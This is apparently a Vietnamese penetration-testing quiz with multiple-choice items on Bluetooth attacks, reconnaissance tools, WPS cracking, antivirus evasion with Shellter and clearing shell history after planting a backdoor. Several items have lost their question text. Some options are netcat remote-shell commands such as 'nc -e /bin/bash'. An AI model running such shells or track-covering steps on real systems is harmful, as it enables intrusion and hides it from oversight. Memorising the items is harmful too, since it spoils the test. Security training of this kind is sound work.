Kiểm thử

Thuật ngữ nào được sử dụng để mô tả các cuộc tấn công sử dụng kết nối Bluetooth của thiết bị để lấy cắp thông tin ?

• NFC cloning

• Bluesnarfing

• BlueBorne

• Wardriving

Công cụ nào dưới đây thường được sử dụng để thu thập một số thông tin về máy chủ & ứng dụng web như Platform, CMS Platform, Webserver platform, Server headers, Cookie, Type of Script ... ?

• Whatweb

• OpenVas

• wpscan

• w3af

• nc 102.15.8.13 4444

• nc -e /bin/bash/ -lvp 4444

• nc -lvp 4444 102.15.8.13

• nc 102.15.8.13 -e/bin/bash

Kỹ thuật kiểm thử nào được thực hiện mà trong đó người kiểm thử không biết bất cứ thông tin nào về hệ thống mục tiêu và mục tiêu cũng không được thông báo trước khi tiến hành kiểm thử ?

• Unannouced testing

• Blind testing

• Double blind testing

• Announced testing

• Chỉ quét UDP để cải thiện tốc độ

• Thay đổi mẫu thời gian từ -T2 sang thành -T3 hoặc -T4

• Sử dụng danh sách cổng mặc định

• 
  Chuyển sang sử dụng SYN scan

• Bẻ khoá PSK được sử dụng để kết nối với điểm truy cập không dây

• Thu thập lưu lượng truy cập từ AP và lưu vào tập tin PCAP

• Lắng nghe các beacon frame để gửi một yêu cầu kết nối tới AP có địa chỉ BSSID 12:34:56:78:AB

• Tiến hành tấn công Brute force PIN WPS để có được quyền truy cập mật khẩu của AP

• Trang web có thể tồn tại lỗ hổng XSS

• Trang web có thể tồn tại lỗ hỗng SQL injection

• Trang web có thể tồn tại lỗ hổng CSRF

• Trang web có thể tồn tại lỗ hổng tràn bộ đệm

Trong quá trình kiểm thử hệ thống, Peter muốn tiêm shellcode của mình vào một số chương trình hợp lệ trên hệ thống windows như calc.exe, mspaint.exe để kiểm tra khả năng bypass antivirus. Công cụ nào sau đây được phát triển cho mục đích này ?

• Meterpreter

• Powershell

• Shellter

• Metasploit

Loại văn bản nào sau đây có giá trị pháp lý thường được sử dụng để tham chiếu cho việc bảo vệ tính bí mật của dữ liệu và các thông tin khác mà người kiểm thử có thể gặp phải ?

• NDA

• SOW

• MSA

• NIST

Sau khi xâm nhập thành công vào hệ thống mục tiêu và tiến hành cài đặt backdoor, lệnh nào sau đây cho phép người kiểm thử xoá toàn bộ nội dung của phiên làm việc với terminal trên Linux ?

• m -f ./history

• history -remove

• cat history | clear

• history -c